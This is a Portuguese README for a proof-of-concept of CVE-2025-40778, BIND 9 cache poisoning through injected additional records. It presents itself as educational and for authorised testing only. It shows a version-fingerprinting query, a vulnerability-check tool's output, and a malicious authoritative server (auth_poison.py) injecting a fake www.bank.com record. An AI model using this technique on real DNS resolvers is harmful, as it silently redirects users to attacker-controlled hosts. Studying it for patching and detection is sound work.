
Prova de conceito demonstrando envenenamento de cache DNS via injeção de registros adicionais no BIND 9, com ferramentas para validar e explorar o CVE-2025-40778 para testes de segurança autorizados.
Demonstração educacional da vulnerabilidade de Envenenamento de Cache DNS via injeção de Registros Adicionais.
APENAS PARA FINS EDUCACIONAIS
Esta ferramenta é fornecida apenas para fins educacionais e de testes de segurança autorizados. O uso não autorizado desta ferramenta contra sistemas que você não possui ou sem permissão explícita para testar é ilegal e antiético.
O autor não assume nenhuma responsabilidade por uso indevido ou danos causados por esta ferramenta.
Esta PoC demonstra como um servidor DNS autoritativo comprometido pode injetar registros envenenados em respostas DNS, potencialmente redirecionando usuários para servidores maliciosos sem o seu conhecimento.
Vetor de Ataque:
Cenários possíveis:
👤 Autor e Contato
pip install dnslib
pip install dnspython
pip install scapy
(venv) krakhen@poc-linux:~/CVE-2025-40778$ dig @200.0.0.X version.bind chaos txt
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @200.0.0.X version.bind chaos txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29000
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 76413e932ad7f2957d8d2a5d6904bec838947bd91c40da8e (good)
;; QUESTION SECTION:
;version.bind. CH TXT
;; ANSWER SECTION:
version.bind. 0 CH TXT "9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.16"
;; AUTHORITY SECTION:
version.bind. 0 CH NS version.bind.
;; Query time: 14 msec
;; SERVER: 200.0.0.X#53(200.0.0.X) (UDP)
;; WHEN: Fri Oct 31 10:51:04 -03 2025
;; MSG SIZE rcvd: 134
Esta ferramenta detecta se é possível explorar a vulnerabilidade CVE-2025-40778
============================================================
CVE-2025-40778 - Forwarder Configuration Validator
============================================================
Enter DNS server IP [127.0.0.1]: 200.0.0.X
Enter domain to query [www.test.local]: www.company.com
============================================================
CVE-2025-40778 VALIDATION - Forwarder Configuration
============================================================
DNS Server: 200.0.0.X
Domain: www.company.com
============================================================
[1/3] Resolution Test for www.company.com
------------------------------------------------------------
[✓] www.company.com → 201.0.0.X
→ Forwarder ACTIVE for www.company.com
[2/3] Additional Records Test (Poison Detection)
------------------------------------------------------------
Answers: 2 records
Authority: 1 records
Additional: 2 records
ANSWER SECTION:
→ www.company.com. 300 IN CNAME www.holding.com.
→ www.holding.com. 300 IN A 201.0.0.X
ADDITIONAL SECTION:
→ [!] POISON?: ns.company.com. 300 IN A 200.0.0.X
→ [!] POISON?: ns2.company.com. 300 IN A 200.0.1.X
→ [!!!] MULTIPLE ANSWERS - Possible poisoning detected
[3/3] Forwarder Latency Test
------------------------------------------------------------
Query 1: 5.63ms
Query 2: 7.46ms
Query 3: 6.04ms
Query 4: 5.04ms
Query 5: 5.69ms
Average: 5.97ms
→ [✓] Forwarder working correctly
============================================================
CONFIGURATION VALIDATED
============================================================
Descrição: Nesta etapa, você inicia o servidor DNS autoritativo malicioso que simula um servidor de nomes comprometido. O servidor escuta em um IP e porta específicos (127.0.0.2:5301), pronto para injetar registros DNS envenenados nas respostas. Quando configurado, ele responderá a consultas legítimas para www.test.local com o endereço IP correto, mas simultaneamente injetará um registro malicioso para www.bank.com apontando para um IP controlado pelo atacante. Esse comportamento de resposta dupla é o núcleo do ataque de envenenamento de cache — o resolvedor DNS vulnerável armazenará em cache tanto a resposta legítima quanto o registro envenenado, mesmo que apenas um domínio tenha sido solicitado.
(venv) krakhen@poc-linux:~CVE-2025-40778$ python3 auth_poison.py
============================================================
CVE-2025-40778 PoC - poc-linux | krakhen.dev
============================================================
[*] Listening: 127.0.0.2:5301
[*] Legit: www.test.local. → 192.168.0.136
[*] Poison: www.bank.com. → 192.168.0.100
[✓] Running. Ctrl+C to stop.
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35319] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35319] (udp) / 'www.test.local.' (A) / RRs: A,A
Descrição: Aqui você realiza uma consulta DNS padrão através do seu resolvedor local (BIND) para verificar se a infraestrutura está funcionando corretamente. A consulta para www.test.local deve retornar o endereço IP legítimo (192.168.0.136) como esperado. Neste ponto, a resposta parece normal para o usuário final — não há indicação visível de comprometimento. No entanto, nos bastidores, o resolvedor DNS vulnerável já armazenou em cache ambos os registros: o legítimo que você solicitou E o registro envenenado para www.bank.com que foi injetado na seção adicional da resposta. Esta etapa confirma que seu resolvedor DNS se comunicou com sucesso com o servidor autoritativo malicioso e processou sua resposta.
(venv) krakhen@poc-linux:~/invest/CVE-2025-40778$ dig @127.0.0.1 www.test.local A
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @127.0.0.1 www.test.local A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57107
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 169780f6ce6781fb010000006904bd5997b99a385f650fa3 (good)
;; QUESTION SECTION:
;www.test.local. IN A
;; ANSWER SECTION:
www.test.local. 120 IN A 192.168.0.136
;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1) (UDP)
;; WHEN: Fri Oct 31 10:44:57 -03 2025
;; MSG SIZE rcvd: 87